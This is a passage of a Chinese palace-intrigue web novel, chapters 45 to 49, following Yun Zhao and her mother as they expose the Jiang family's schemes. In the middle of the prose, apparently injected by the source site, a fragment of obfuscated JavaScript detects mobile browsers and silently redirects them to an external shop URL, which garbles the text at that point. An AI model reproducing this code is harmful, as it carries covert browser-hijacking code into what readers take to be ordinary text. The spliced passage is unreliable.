若非这场对峙,如何能彻底摘清自身嫌疑,趁势甩脱南乔和龚嬷嬷这两个麻烦!
姜家又怎会当着诸多百姓和朝廷大员的面,得此足以光宗耀祖的殊荣!
可以说,他对云昭,如今是满意的不能再满意了!
他朝着萧启拱手笑道:“陛下恩旨已赐下,臣等是否可先行回府?”
萧启却连眼风都未扫给他,只淡淡道:“苏淑人与姜大小姐,乃本案关键证人,需留下协同后续查案。”
言下之意,无关人等的姜家众人可以走了?
姜家众人顿时面露喜色,如蒙大赦。
却不料,萧启慢条斯理地再次开口:“陛下还有两句话,是特意说给姜尚书听的。”
姜世安闻言精神一振!
姜绾心与姜珩也不由自主地挺直了脊背,目露期待——
难道今日之事,陛下还有封赏?
只见萧启唇角勾起一抹笑,缓声开口,模仿着帝王随意却冰冷的语气:
“陛下说——
姜世安,你糊涂透顶!纵仆行凶,祸连妻女!你当的哪门子礼部尚书!好好滚回家去,闭门思过!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573407|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>这毫不客气的训斥,如同几个响亮的耳光,狠狠扇在姜世安脸上!
堂外围观的百姓顿时爆发出一阵嘘声和哄笑。
有人鼓掌高呼:“陛下圣明!骂得好!”
也有**声议论:“这啥意思?姜尚书这官是当到头了吧?”
“岂止是当到头?今日脸都丢尽了,以后还有什么颜面立于朝堂?”
姜世安脸色煞白如纸。
他浑身僵硬,迎着众人或讥讽、或怜悯、或幸灾乐祸的目光,失魂落魄地踉跄离去。
姜家众人亦灰头土脸,匆忙跟上。
云昭对姜老夫人道:“祖母,这龚嬷嬷和南乔俱是叛主不义之人,还请祖母带回去,好好惩治。”
南乔一直呆呆坐在地上,直到被人拖走也无甚反应。龚嬷嬷被堵着嘴连连摇头,还想伸手拽苏氏的衣角,求她怜悯。
然而老夫人一声令下,手下几个嬷嬷已上前将两人自公堂拖走。
离去前,梅柔卿阴冷地睇了苏氏一眼,那目光毒如蛇信。
云昭将梅柔卿眼底的怨毒尽收眼底,唇角缓缓勾起一丝冷冽的弧度。
她从不惧梅柔卿作妖,只怕她过于沉得住气,真能忍住按兵不动!
只要她敢有所行动,等着她的,必定是让她悔不当初的地狱!
*
午后暖阳斜照,京兆府门前的青石板路被晒得泛着白光,街边小贩的叫卖声此起彼伏,偶有马车驶过,扬起细细的尘埃。
梅柔卿才踏出衙门门槛,便身子一软,直直向前栽去。
“梅姨!”姜绾心惊呼一声,忙伸手去扶。
老夫人见状,急得直跺脚,连声呵斥着身旁的奴仆:“还不快把人扶上车!一个个都是没眼力见儿的!”
两个婆子手忙脚乱地将梅柔卿搀起,她却已是面色惨白,双目紧闭,任凭旁人如何呼唤也毫无反应。
见姜珩频频回首,望向衙门深处,老夫人啐了一口,满脸嫌恶:“有什么可看的!回家了!
那个丧门星!当年娶她过门还没满三天,你父亲就遇险被刺,心口至今还留着那道疤!要我说啊,她就是……”
“母亲!”姜世安厉声打断,语气中透着不容置疑的威严。
老夫人顿时噤声,嘴里却仍不甘心地嘟囔着:“我又没说错……本来就是扫把星……”
姜世安将老夫人拉到一旁,压低嗓音:“当年之事,绝不可再提!苏氏如今今非昔比,待她回府后,母亲切莫再提往事。特别是关于裴寂的事,万万不可在孩子们面前提起!”
听到“裴寂”二字,老夫人脸色骤变,连连摆手:“我晓得轻重,你放心,这事我绝不再提!”
走在最后的姜绾心,忽而注意到人群中一个头戴斗笠的身影,心头不由一颤:“灵……”
灵峰竖起食指抵在唇前,示意她噤声,随后压低声音道:“今日之事,太子殿下都已知晓。绾心小姐请多保重。待到时机成熟,碧云寺那件事,殿下自会为你周旋。”
姜绾心闻言,心头小鹿乱撞,连连点头:“有劳殿下挂心,心儿明白。”
“府上那块玉佩,可还在?灵峰又问。
姜绾心一怔,随即摇头:“阿姊把那玉佩看得极紧,自回府后,我也只在马车上见过一次……”
她顿了顿,语气带着几分不屑,“她还说什么,那玉佩已经滴血认主,旁人拿去也无用。一天到晚,尽说些神神叨叨的浑话。”
灵峰眼中闪过一丝异色:“我知道了。”
前方传来姜世安的催促声,姜绾心连忙应声上车。
灵峰压了压斗笠,转身没入人群,转眼便消失不见。
姜绾心坐在车中,一颗心怦怦直跳,仿佛揣着个天大的秘密,唇角不自觉地扬起一抹甜笑。
第46章 一刀直取云昭咽喉!
随着青莲观一案震动京师,姜家这座昔日车马盈门的尚书府,如今却是朱门紧闭,门可罗雀。
然而高墙深院终究锁不住流言蜚语。
“尚书府恶仆偷换主母”的骇人奇闻,如同生了翅膀,一夜之间传遍京城的大街小巷。
茶楼酒肆里,说书人将惊堂木拍得震天响,唾沫横飞地讲述着苏氏如何里应外合助秦王破案,云昭又如何孤身救母的传奇。
这日傍晚,云昭携苏氏下了马车,正要前往街对面的一处布庄置办些衣物。
“母亲小心些。”云昭扶着苏氏的手臂,目光敏锐地扫过熙攘的街道。
话音未落,一辆满载货物的马车突然失控,拉车的骏马发出一声嘶鸣,发狂般朝着她们冲来!
“昭儿——!”苏氏惊呼。
电光火石间,云昭一把将苏氏推向身后的莺时,自己却因反作用力踉跄后退。就在这千钧一发之际,她忽觉腰间一轻——
一个黑影趁乱贴近,手中寒光一闪,竟是要割断她系着玉佩的丝绦!
云昭眸光一凛,假意去夺玉佩,袖中金针已蓄势待发。不料对方下一刀竟是直取她咽喉,与此同时,一阵诡异的梵音突兀地在她耳边响起,那声音似远似近,扰得她心神一荡。
"破!"云昭咬破舌尖,一缕鲜红从唇角溢出。她以血为引,指尖飞快结印,一道无形的气浪以她为中心震荡开来,将那扰人的梵音尽数粉碎!
就在这生死一线间,一道鞭影破空而来!
但见街对面一人策马而立,玄色披风在暮色中猎猎作响。他手中长鞭如灵蛇出洞,精准地缠住那矮小男子的脖颈,猛地一拽!
“砰”的一声,那贼人被重重摔在地上,激起一片尘土。
马上的男子约莫三十五六年纪,剑眉星目,身姿挺拔如松。夕阳的余晖勾勒出他硬朗的侧脸,他目光在触及苏氏时骤然一凝,那深邃的眸子里翻涌着复杂难辨的情绪。
“小姑娘,当心些。这贼人盯着你们的马车有一段路了。”他的声音低沉悦耳,目光却始终未从苏氏身上移开。
云昭正要道谢,就见一旁苏氏脸色苍白,眼睛定定地看着对方。
那男子深看了苏氏最后一眼,将捆成粽子的贼人交给随从,一提缰绳便策马远去,玄色披风在暮色中划出一道利落的弧线。
云昭收回目光,从莺时手中接过帕子,利落塞进那偷儿口中,在一众百姓惊愕的注视下,她拎起那贼人的后领,大大方方地朝京兆府走去。一路大大咧咧地往京兆府走去。
“这不是姜家前不久才认回来的嫡女吗?还有那位险些被恶仆偷换的主母!”
“这才过了几天?这对母女怎么又遇上事了?”
百姓们议论纷纷,好奇的人群渐渐汇聚成流,跟着云昭往京兆府涌去。
云昭瞥见手中贼人眼珠乱转,冷笑一声,自腰间取出一张黄符,"啪"地贴在他额前。
那贼人顿时面如土色,浑身剧颤。
"放心,不要你的命。“云昭轻声道,”我是怕有人会要你的命。"
话音未落,一支袖箭破空而来,直取贼人后心!
然而袖箭在触及贼人背心的瞬间,仿佛撞上一道无形屏障,“铛”的一声坠落在地。
云昭饶有兴致地拾起袖箭,朝来处望去,只捕捉到一道迅速消失在巷口的灰影。
“看来你也不是很重要。”她对着面如死灰的贼人轻笑,“完不成任务就要没命呢!”
一路行至京兆府,衙役们见到云昭皆是一愣:“姜小姐?”
这几日云昭母女暂居府衙后院协助查案,衙役们早已熟悉她们的身影。见母女二人出门不久又折返,还拎着个被捆成粽子的人,都不由诧异。
云昭将人往地上一扔:“劳烦请赵大人来,审一审这小贼。”
这几日云昭和苏氏为协同办案,就宿在京兆府后院,是以众人对云昭都非常熟悉,见到母女二人才出门没多久又折回,都纷纷惊讶。
“哟,这是又给本官送功劳来了?”赵悉爽朗的笑声自廊下传来,他快步走近,却在看清地上之人时笑容一滞。
云昭正要揭下贼人背后的符咒,却见那贼人突然捂住喉咙,脸上泛起诡异的青黑色,皮肤下仿佛有无数细小的虫子在蠕动!
“呃……”他喉间发出嗬嗬的怪响,七窍中渗出乌黑的血水,不过瞬息之间,便气绝身亡。
赵悉脸上的笑容彻底消失,苏氏更是手脚冰凉,紧紧握住云昭的手。
云昭却面无惧色,蹲下身仔细查验尸体:“应是一种定时发作的剧毒。”
她的目光落在自己腰间完好无损的玉佩上,唇角勾起一抹讥诮的弧度:“看来,不论你今日是否得手,对方根本就没打算让你活。”
赵悉眸色凝重如墨,亲自将母女二人送至京兆府大门外。临别时,他刻意落后半步,压低声音对云昭道:
“姜小姐,当心啊!对方不仅想要你的玉佩,更是存了一击必杀之心!”
苏氏始终紧紧握着云昭的手,指节因用力而微微发白。
待赵悉转身回府,她才低声开口,声音里带着难掩的忧惧:“昭儿,娘留这块玉佩给你,是不是反倒给你招来了祸事?”
云昭反握住母亲冰凉的手,展颜一笑:“娘。历来只有事怕人,哪有人怕事的道理?既然这是您从太皇太后那儿为我求来的御赐之物,女儿自然有本事守住它!”
暮色为云昭秾丽的侧脸镀上一层金边,苏氏望着女儿自信从容的模样,心头涌起一股难以言喻的骄傲。她轻抚云昭的发梢,语气温柔:
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“娘亲真该好好谢谢你的师父和师兄师姐。”苏氏的声音温柔似水,在暮色中轻轻荡漾,“在娘缺席的这些年里,是他们将你教导得这般出色。”
这朴实无华的一句感恩,却像一根细针,轻轻刺入云昭心底最柔软处。她鼻尖一酸,眼前仿佛又浮现出清微谷漫山遍野的桃花,师兄师姐们在树下练剑的身影。
她强压下喉间的哽咽,轻声道:“待京城事了,女儿带娘亲去清微谷走走。”
这一世,她以血咒脱离姜珩等人掌控、坠落悬崖时,整座清微谷已陷入一片火海,烈焰将夜空染成凄厉的血色。
事后她拖着伤痕累累的身躯重返故地,只见焦土遍野,残垣断壁间散落着难以辨认的尸骸。许多尸体紧紧相拥,至死都不愿分离。
她独自一人,默默收敛了所有尸骨,在谷中最高的山岗上为他们立了一座合葬冢。
每当夜深人静时,她总会忍不住去想——她的师兄师姐中,可有人侥幸逃脱了那场浩劫?
是否还有人,此刻正散落在世间的某个角落,和她一样怀着刻骨的仇恨,等待着复仇的时机?
这个念头像一粒火种,在她心底最深处静静燃烧,既是不敢触碰的希望,也是支撑她走下去的力量。
夕阳的余晖洒在云昭侧脸上,将她眼底翻涌的痛楚与坚毅都镀上一层金色的光晕。
苏氏尚不知云昭满门皆殁,只听云昭说起师父已然仙逝。听到此她不由绽出一抹笑:“那敢情好。娘亲盼着那一日!”
云昭想起今日在街边见到那个仗义出手的中年男子,她追问:“娘亲,今日那位出手相帮的将军……”
话未说完,她便瞧见了殷殷守在大门口的姜绾心和姜珩兄妹。
两人看到苏氏,难掩眸中错愕与惊艳。
苏氏身着一袭暮山紫色浮光锦长裙,披着薄如蝉翼的云丝披帛,通身气度沉静雍容,与记忆中那个缠绵病榻、黯淡无光的妇人,简直判若两人。
云昭观察二人表情,却见两人的注意都在苏氏身上,似是对方才发生的事全然不知。
姜绾心眼圈红彤彤的:“母亲,您一直不回家,可是还在生心儿的气?
心儿自小就知,并非爹爹与母亲所生,乃是阿姊走失后,爹爹为宽慰母亲思女之情,从同乡处抱回抚养。
虽对外称是嫡女,可心儿从不敢一日忘形,始终谨记本分。”
说到这,姜绾心泪珠扑簌簌落下,上前一步哽咽道:
“如今阿姊归来,母亲也病愈新生,得陛下亲封诰命。心儿打心眼里为母亲和阿姊高兴。今日前来,绝非为攀附恩荣,实在是……是父亲他……”
说到此处,姜绾心已然泣不成声,似有万般难言之意。
云昭轻挑起眉梢:“怎么,父亲不行了?”
第47章 亡者在用自己的方式守护亲人
姜绾心闻言一噎。
“阿昭!”姜珩面色陡然一沉,“你怎可如此说话?父亲自那日当众受陛下申饬,心神俱损,回府便一病不起。”
他语气黯然,带着几分不自在看向苏氏,“儿子知道,那日公堂之上,未能识破恶仆奸计,令母亲受辱,实属不孝。父亲已严厉斥责过了,这几日我也深自反省。”
姜绾心适时拭泪附和:“母亲,千真万确。父亲已连日水米难进,今日更是发起高烧,口中一直喃喃念着母亲的闺名。”
苏氏静立原地,面容沉静如水,辨不出喜怒:“家中有婆母坐镇,又有梅氏帮衬,怎会任由你父亲病得起不来床?”
此言一出,姜珩和姜绾心顿时神色尴尬。
姜珩道:“母亲,梅姨再怎么能干,到底也是个外人,怎比得上你与父亲夫妻情深?”他又看向云昭,语气恳切,“阿昭妹妹医术精绝,如今父亲病重,正该侍奉榻前,岂有不顾之理?”
兄妹二人本就生得一副好相貌,此刻云昭与苏氏生生堵在京兆府大门前——
这番动静,早已引得过往行人纷纷驻足,窃窃私语之声不绝于耳:
“这苏氏也是,身为女人怎可不回家,整日在外面抛头露面,实在不成体统!”
“回家?那也得看是怎样的家!反正换作是我,断然不敢回去!”
“你们是没瞧见,那日这兄妹二人在公堂之上,连亲生母亲都认不出来,那才叫可笑呢!”
市井百姓们议论八卦,可不会刻意避着当事人。姜珩和姜绾心这对素来极重颜面的兄妹,脸色顿时忽红忽白,很是下不来台。
也有胆大的高声问云昭:“姜小姐,方才你抓的那人如何了?”
云昭唇角微扬,露出一个意味深长的浅笑:“被人下了毒,险些丧命,又被我救回来了。眼下赵大人正在严加审讯呢!”这正是她临走前与赵悉约定好的说辞。
若有人听了这消息,按捺不住夜闯京兆府,他们刚好来个瓮中捉鳖!
这话顿时在百姓中激起更大的议论声。
姜珩疑道:“阿昭,母亲,你们抓了什么人?”
云昭淡淡一笑,伸手轻轻捏起腰间的玉佩,叹了口气:“我早知有人会觊觎这玉佩,却不想竟会这般心急。光天化日之下当街抢夺,还险些伤了母亲。”
姜珩和姜绾心两人,一时都没说话。
姜珩目光闪烁,似是有所猜测。
姜绾心则眸光幽微,紧紧盯着云昭腰间那枚玉佩。
她根本不信什么滴血认主的说辞,只听说是昔年太皇太后所赐,便一直心心念念想要得到。在姜家娇生惯养这么多年,从来没有什么是她得不到的!
就在这时,不远处一个疯疯癫癫的妇人引起了众人的注意。
那妇人赤着一只脚,却跑得飞快,一边跑一边不停地念叨:“絮儿,絮儿,糖饼子!糖饼子!”
跟在云昭身旁的雪信突然惊呼:“娘亲?”
不顾云昭等人的惊讶,雪信已朝着那疯妇人追了过去。
云昭眼尖地瞥见,不远不近跟在疯妇人身后的两个男子,分明是萧启身边的暗卫。再往后,跟着那辆萧启的马车!
她当即毫不犹豫地追了上去。云昭这一走,苏氏和莺时等人自然也不会留在原地。
徒留姜珩和姜绾心站在原地,面面相觑。
然而两人听了云昭方才提及玉佩之事,一时各怀心思,直到上了马车也竟相对无言。
马车一路前行。
一直掀着车帘看向窗外的姜绾心,忽然瞧见一个熟悉的身影跟了上来。
她心头猛地一跳,急忙撂下车帘,唇角却不自觉地扬起一抹意味深长的笑意。
*
公主府。
疯妇人衣衫虽旧却颇整洁,双手紧紧攥着衣角,眼神涣散,嘴里不停喃喃着几个模糊的音节。
雪信蹲下身,轻轻扶住妇人的手臂,声音带着哽咽:
“娘,您怎么跑到城里来了?不是说好了在家等我,我买了糖饼子就回去吗?”
那妇人抬起头,露出一张虽经风霜却仍能看出清秀轮廓的脸。
她腼腆地笑了笑,从怀里摸出一个层层叠叠裹着的小布包,眼神纯真如孩童:“糖饼子好吃……娘,不吃,留给絮儿。”絮儿,是雪信的乳名。
雪信眼圈瞬间红了,强忍着泪意对云昭解释道:
“邻居钱婶说,我娘这病不算太重,只要攒够银子,去城里最大的济世堂买安神定志丸,慢慢调理就能好。”
云昭轻蹙起眉:“安神定志丸,主要功用是提神醒脑,用于惊悸不安。但疯癫之症成因复杂,恐难根治。”
墨二在一旁解释道:“属下等奉殿下之命,排查青莲观周边村落。在将家村遇见这位大娘时,她口中一直反复念着‘青莲观’,还含糊说着‘女娃’……
村里人说,她虽神智不甚清明,但若耐心引导,也能问出些线索。
我们问过邻居,得知她家中只有一个在城里做工的女儿,别无亲人,便留了口信给邻舍,将她带了回来。”
云昭听罢,指尖轻轻搭上妇人的腕脉。
她目光沉静如水,一边诊脉,一边用极其温和的语调轻问:“大娘,您在青莲观,可曾见过一个女娃娃?”
那妇人起初瑟缩了一下,但在云昭柔和的目光注视下,渐渐放松下来。
她歪着头想了半晌,忽然压低声音,神秘兮兮地说:“漂亮娃娃……红绳绳……水里冷……”
这破碎的语句让在场众人神色骤变!
她浑浊的眼中闪过一丝诡异的清明,声音突然尖锐起来:“有人把娃娃推下去的……我看见了!”
“砰——”
长公主手中的茶盏应声而落,碎瓷四溅。
苏氏见状连忙上前扶住长公主微微颤抖的手臂。长公主眼眶泛红,呼吸急促。
一旁的周嬷嬷颤声道:“我们郡主失踪那日,脚腕上正系着从宝华寺求来的红绳,上面还缀着一只金铃铛……”
那妇人听到“铃铛”二字,突然激动得连连点头:
“铃铛响了!他们发现了!嘘——别出声!”她惊慌地捂住自己的嘴,浑身发抖。
众人闻言,俱是心头一沉。
从妇人的只言片语,不难推测嘉乐郡主当日都发生了什么。
或许是巧合,或许是什么别的缘故,嘉乐郡主看到了不该看的,被人追赶时,脚上的红绳金铃暴露了行踪……
然而这还不是最终。
凶手在莲池溺毙了小郡主,将之藏尸于一只琴盒,最终沉于青莲观莲池之中。
长公主脸色煞白如纸,身形一晃,被苏氏和周嬷嬷及时扶住。
她眼中燃起滔**火,声音因极致的悲痛而颤抖,却带着不容置疑的威严:
“查!给本宫彻查到底!无论是谁,害我宝珠,本宫定要将他千刀万剐!”
萧启沉稳的声音如同定海神针:
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“姑母放心,此事侄儿必亲自督办,穷尽九天黄泉,也定将元凶绳之以法,以告慰宝珠妹妹在天之灵。”
见长公主双目赤红,气息急促,云昭沉吟片刻,温声道:
“义母可还记得春日宴那日,您晕厥前曾说仿佛见到了宝珠?”
长公主拭泪颔首:“自然记得。只是后来细想,许是受了那画**粉影响,生了幻觉。”
“那并非幻觉。”云昭目光清澈如水,语气笃定,“那日,宝珠妹妹的灵识确实萦绕在您身边,只为保护您不被那画卷影响神智。”
她望着长公主,声音愈发轻柔:“亡者有灵。宝珠妹妹一直在用她的方式守护着您。还请义母为了郡主,务必善自珍重。”
长公主闻言,泪水再次潸然而下:“我的宝珠……自小就懂事……”
苏氏轻轻握住长公主冰凉微颤的手:“妾身方才听周嬷嬷说,后院里那株并蒂红莲,今日竟抽出了小花苞。
听闻嘉乐郡主在时,最爱与殿下月下赏莲,品茗闲话。
殿下,不若我们现在就去看看?或许……是郡主想借莲花,给母亲捎个平安信呢?”
她的话语如春风化雨,让长公主悲恸的心绪稍稍平复,不由点了点头。
长公主在苏氏和周嬷嬷的陪伴下往园中走去。
殿宇之内,云昭继续为雪信的母亲施针治疗,烛火摇曳,在她周身镀上一层暖融的光晕。
她看向雪信:“信不信我?”
雪信一怔,旋即重重点头:“信!奴婢信姑娘!”
她想起院子里那只后腿血肉模糊、如今却活蹦乱跳的小黄狗。她没想到,他家姑娘会愿意给自己的疯娘治病。
小丫头跪在地上,郑重给云昭磕了个头:“雪信谢姑娘大恩。”
云昭弯腰扶起她,取过纸笔,笔墨酣畅地写下一张方子:
“**病,三分靠药石,七分靠心解。关键在于解开她的心结。给我三个月,我必还你一个神志清明的娘亲。”
待雪信和侍女扶着神志不清的妇人离去,偌大的殿内只剩下云昭与萧启。
空气仿佛忽然变得稀薄,唯有烛芯偶尔爆开的轻微噼啪声。
萧启向前踱了一步,悄然拉近距离。
他垂眸凝视着她,低沉的声音在寂静中显得格外清晰,甚至带着一丝连他自己都未曾觉察的幽怨:
“三个月就能治好她。那我呢?”
他自然而然地省略了“本王”的自称,仿佛在与极其熟稔之人对话。
云昭正低头整理银针,闻言抬头,并未留意到他话语中的亲昵变化,只是认真地沉吟道:
“殿下体内的七玄钉,第一根已除。余下几根,需待时机成熟,不可贸然动手。”
她微蹙秀眉思索片刻,眼眸一亮,“或许,我可先尝试为殿下化解那枚纠缠更久的‘桃花煞’。”
萧启凤眸幽深,幽深的目光如网般将她牢牢锁住:“哦?如何化解?”
云昭却浑然未觉他眼底翻涌的暗潮,仍是一派认真地倾身解释:
“殿下近日若在宫中或坊间行走,须得格外留心自身的反应。
倘若对哪位女子生出不寻常的感觉——
譬如,心口会无端悸动加快,目光总是不由自主地追随着她的身影,或是,思绪莫名被她牵动,难以自持……”
她抬起清澈的眼眸,叮嘱道:“若有此类征兆,定要让墨一他们即刻知会于我,万万不可延误。”
第48章 她们母女只是姜家的垫脚石!
萧启一时未曾应答,只是默然凝视着她。
跳跃的烛光为云昭皎白的脸镀上一层温软的暖色,她一脸专注厘清脉象的模样,没有半分羞涩或引诱。
心跳失序,目光不自觉追随,心绪因她一举一动而牵动……
她此刻一本正经道出的每一种症状,都与他近来面对她时,那些连自己都尚未理清缘由的异常反应严丝合缝。
一种微妙而汹涌的情愫猝然撞击着心扉,让一向性情冷沉的萧启也难以招架。
“嘭”的一声巨响,毫无征兆地从门外传来,伴随着墨二急切鲁莽的呼喊,骤然打破了满室的旖旎与静谧。
“殿下!南边有紧急密报送达!”
萧启周身温和的气息瞬间敛去,眸光一凛,锐利如刀射向门口。
云昭却已收拾妥当:“殿下既有要事,还是赶紧去处理为宜。”
萧启深吸一口气,强压下翻腾的情绪,自怀中取出一沓纸张:“这个……”
“是关于梅柔卿之事?”云昭一见,果然被吸引了注意,顿时双眸晶亮:“殿下这么快就查到了?”
她急切地伸手去接,却因着两人身高的差距,不自觉地踮起脚尖,整个人几乎像是要投入萧启怀中一般……
淡淡的馨香再次掠过鼻尖,萧启一时身形微僵。
云昭浑然未觉,拿到纸张,便借着烛光细细阅读起来。
越是往下看,云昭眉头蹙得越紧。
原来,姜世安与苏氏的婚姻,从一开始,就是一个彻头彻尾的骗局。
而她出生之后还未满月的“丢失”,也从不是意外,而是姜家上下的蓄谋已久!
梅柔卿,原名沈韶梅。父亲沈崇,曾是天子近臣。
当年先帝骤然崩逝,留下遗诏命今上继位。新帝登基后宽仁为怀,并未废黜太子。然而不久太子却性情大变,行止疯癫,竟在东宫手刃妻女,杀伤宫人无数,最终自刎身亡。
今上震怒,下令彻查东宫**,原来以沈崇为首的几名大臣,因惧怕太子正在彻查的漕粮一案,会牵连出他们的贪墨罪行,竟铤而走险,在太子膳食中掺入能致人精神错乱的“幻梦散”!
最终致使太子心智迷失,酿成惨剧。
沈崇被判菜市口枭首示众,沈家男丁皆流放三千里,女眷则悉数没入贱籍。
姜世安早与沈韶梅暗通曲款,情根深种。沈家倾覆,姜世安明面上与之划清界限,暗地里从未斩断情丝。
他隐忍三年,待风头一过,便悄悄派人远赴沈韶梅被发配的边陲教坊,不惜重金为其赎身,并秘密安置在京郊别庄,金屋藏娇。
也正是在这三年间,姜世安精心策划了一场“英雄救美”,在上香途中“偶遇”遭遇匪患的苏氏,挺身相救,赢得美人芳心。
苏氏下嫁后,二人看似琴瑟和鸣,成为京城一段佳话。
然而无人知晓,在苏氏生下嫡子姜珩尚不足半年,别院中的沈韶梅也悄然为姜世安诞下一女。
便是如今记在苏氏名下、被当作嫡女养大的姜绾心!
姜绾心实为姜世安与沈韶梅的亲生骨肉,年岁比云昭足足大了两岁有余!
更令人心惊的是,姜家二房的杨氏,与梅柔卿竟是嫡亲的表姐妹!
云昭握着纸张的手指缓缓收紧,指节因用力而泛白,纸张在她掌心发出细微的脆响。
好一个姜家!
先是将尚在襁褓的她弃于荒野,好让姜绾心这个外室之女名正言顺地登堂**;
再设计让苏氏“久病不起”,方便梅柔卿鸠占鹊巢,将本该属于她们母女的一切蚕食鲸吞!
姜家上下沆瀣一气,只将母亲和她当成垫脚石,踩着她们母女的骨血步步高升!
回京兆府后院的这条路安静悠长,云昭走得很慢,只听得裙裾拂过草叶的窸窣声。
暖黄的窗纸上映出苏氏微微佝偻的身影,手上似在做什么绣活儿。
她在廊下静立片刻,将心头翻涌的杀意一点点压回心底,终是有了决断。
姜家这潭水早已污浊不堪,此事,绝不能再瞒着母亲。
她轻轻推开房门。
苏氏听见动静,立即放下手中的绣活,朝她温柔招手:"快来瞧瞧母亲给你绣的荷包。许久不曾动针线,手都生了。"
烛光下,苏氏指尖还缠着五彩丝线,那专注的神情让云昭心头一颤。这般温馨的场景,是她前世连在梦中都不敢奢望的画面。
云昭缓步上前,目光落在母亲细白的指节上,忽然想起今日街市上那个出手相救的玄衣男子。
"母亲,"她轻声问道,“今日出手相助的那位将军,您认识对吗?”
苏氏手上的动作微微一顿,针尖险些刺破指尖。良久,她才轻轻点头:”是从前的一位故人。"
“那他为何见了母亲……”神情那般奇怪。
苏氏垂下眼帘,面容隐在烛光的阴影里,声音轻得几乎听不见:“是母亲对不住他。他不愿与母亲说话,也是应当的。”
云昭凝视着母亲异样的神情,心头掠过一丝疑虑,却一时理不清头绪。
她终是将怀中的纸张取出,轻轻推至母亲面前:"母亲,您先看看这个罢。"
烛火摇曳,将母女二人的身影投在窗纸上。这一夜,屋内的灯亮了很久,很久。
*
另一边,马车在沉闷的气氛中驶回府邸。
厅内,姜世安面色阴沉地端坐主位,老夫人、二房杨氏、三房温氏皆在,俨然一副严阵以待的架势。
梅柔卿穿着一身素雅衣裙,鬓间簪几枚不起眼的银质梅
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花小簪,正低眉顺眼地侍立在老夫人身侧,一副温婉柔顺的模样。
这一大家子,显然都笃定今日必能迎回苏氏与云昭。
杨氏见只有兄妹二人进来,脖子伸得老长,眼珠子滴溜溜地往后瞅。
眼瞧着后面连个鬼影子都没有,她嗓门立刻吊了起来,尖声怪气道:“哎哟喂!真没接回来?这是要上天啊!”
她转向老夫人,话里话外透着掩不住的幸灾乐祸,
“娘您可都瞧见了!咱们一大家子人,巴巴儿在这儿候着,珩儿和心儿两个嫡出的亲自去请——
这脸面给得还不够足吗?结果呢?热脸贴了人家的冷腚!苏氏的心,比那腊月的石头还硬!”
姜珩铁青着脸,将秦王府门前的遭遇添油加醋地说了一遍。
末了他语气沉重道:“……那个云昭,她眼里哪还有姜家?哪还有父亲和祖母!分明是攀上了高枝,便不将我们放在眼里了!”
老夫人听得心头火起,拐杖重重杵地,开口便是乡野村妇的泼辣:
“遭瘟的丧门星!从前就克得我儿官运不顺,这才消停几天,又出来作妖,带累我儿丢官罢职!如今更连自个儿身上掉下来的亲肉都不认了!天打雷劈的玩意儿,她也配当娘?!”
一直作壁上观的梅柔卿,这时才柔柔开口:“老夫人千万保重身子,莫要动气。
姐姐她如今正在气头上,一时想左了也是有的。妾身相信,过不了几日,等她想通了,自然会带着阿昭一起回来的。”
姜绾心殷殷望着姜世安,缓缓道:“父亲,那日在宫中,贵妃娘娘对梅姨甚是亲近依赖,曾流露过希望梅姨相伴通往碧云寺之意。”
姜世安倏然抬起双眼。
姜绾心快声道:“女儿想去碧云寺。若能提前拜会闻空大师,得大师一言半语,于父亲前程、于我家运势,岂非大有裨益?”
闻听“闻空大师”之名,姜世安眼皮猛地一跳,指尖无意识地在椅背上敲击了几下,显然被说动了心思。
若能搭上贵妃这条线,再得高僧指点,眼下困局或许真能迎刃而解。
就在这时,门外传来门房恭敬又带着几分急促的通传:“大爷,门外有一位灵公子求见。”
姜世安一怔,尚未反应过来,一旁的姜绾心已按捺不住激动,抢先道:“快请!”
她快步走到姜世安身边,俯身在他耳边急切低语了几句。
姜世安眸中精光乍现,立刻沉声道:“请灵公子书房相见!”
书房内,烛火摇曳,映照着三人各异的神色。
来人正是太子贴身侍卫灵峰,一身布衣难掩其精干之气。姜世安殷勤奉茶,请他上座。
灵峰略一拱手:“不敢。奉太子殿下密令,特来传话。”
第49章 当年真相苏氏至今不知情!
灵峰目光扫过姜绾心,“殿下听闻姜小姐心性纯善,细致温柔。此次碧云寺之行,望小姐能谨守本分,常伴贵妃娘娘左右。若遇任何事,可凭此令牌随时传递消息。”
说着,取出一枚小巧的玄铁令牌。
姜绾心心头狂跳,却蹙起秀眉,故作无奈:“能陪伴娘娘是心儿的福分,只是未有娘娘懿旨,心儿恐怕名不正言不顺……”
灵峰淡淡道:“明日卯时一刻,小姐只需守在碧云寺大门前,贵妃娘娘自有安排。”
姜世安闻言,捋须沉吟:“贵妃娘娘龙胎紧要,天下瞩目。小女若能侍奉左右,自是荣幸之至。只是若无陛下或娘娘明旨,这般私下前往,恐怕于礼不合。”
姜世安话语温和,眼神却锐利,分明是在试探太子的底线,为姜家争取更为稳妥的保障。
灵峰眼底闪过一丝不易察觉的厌烦,旋即笑道:
“姜尚书多虑了。殿下安排,岂会授人以柄?届时,贵妃娘娘自会带小姐风风光光入寺,断不会让小姐受半分委屈。”
姜世安这才露出满意的神色,顺势试探道:“殿下对贵妃娘娘真是关怀备至。
也是,贵妃娘娘是皇后娘娘的外甥女,与殿下是嫡亲的表姐弟,血脉相连,自当时刻牵挂,守望相助。”
他这话,既是在确认太子与贵妃联盟的稳固性,也是在试探在太子心中这条人脉的价值。
灵峰神色不变,坦然应道:“尚书大人明鉴。贵妃娘娘与殿下自幼亲厚,一家人自然要相互扶持。”
窗外阴影里,梅柔卿将这番对话一字不落地听入耳中。
太子这条密令,看似是给心儿的恩宠和机会,何尝不是一种试探与利用?
男子的情爱,尤其是太子这等地位男子的青睐,从来如镜花水月,虚无缥缈。今日可以因利而给予,明日便可因利而收回。
但无论如何,太子既然递出了这根橄榄枝,便是心儿的机会。
至于云昭母女……过去十几年,苏氏哪一件事不是被她牢牢捏在掌心?
当年嫁进来之前,已被她先一步断了母族倚仗,毁了与那人的年少情谊,可笑的是,当年那些事,苏氏至今仍不知情!
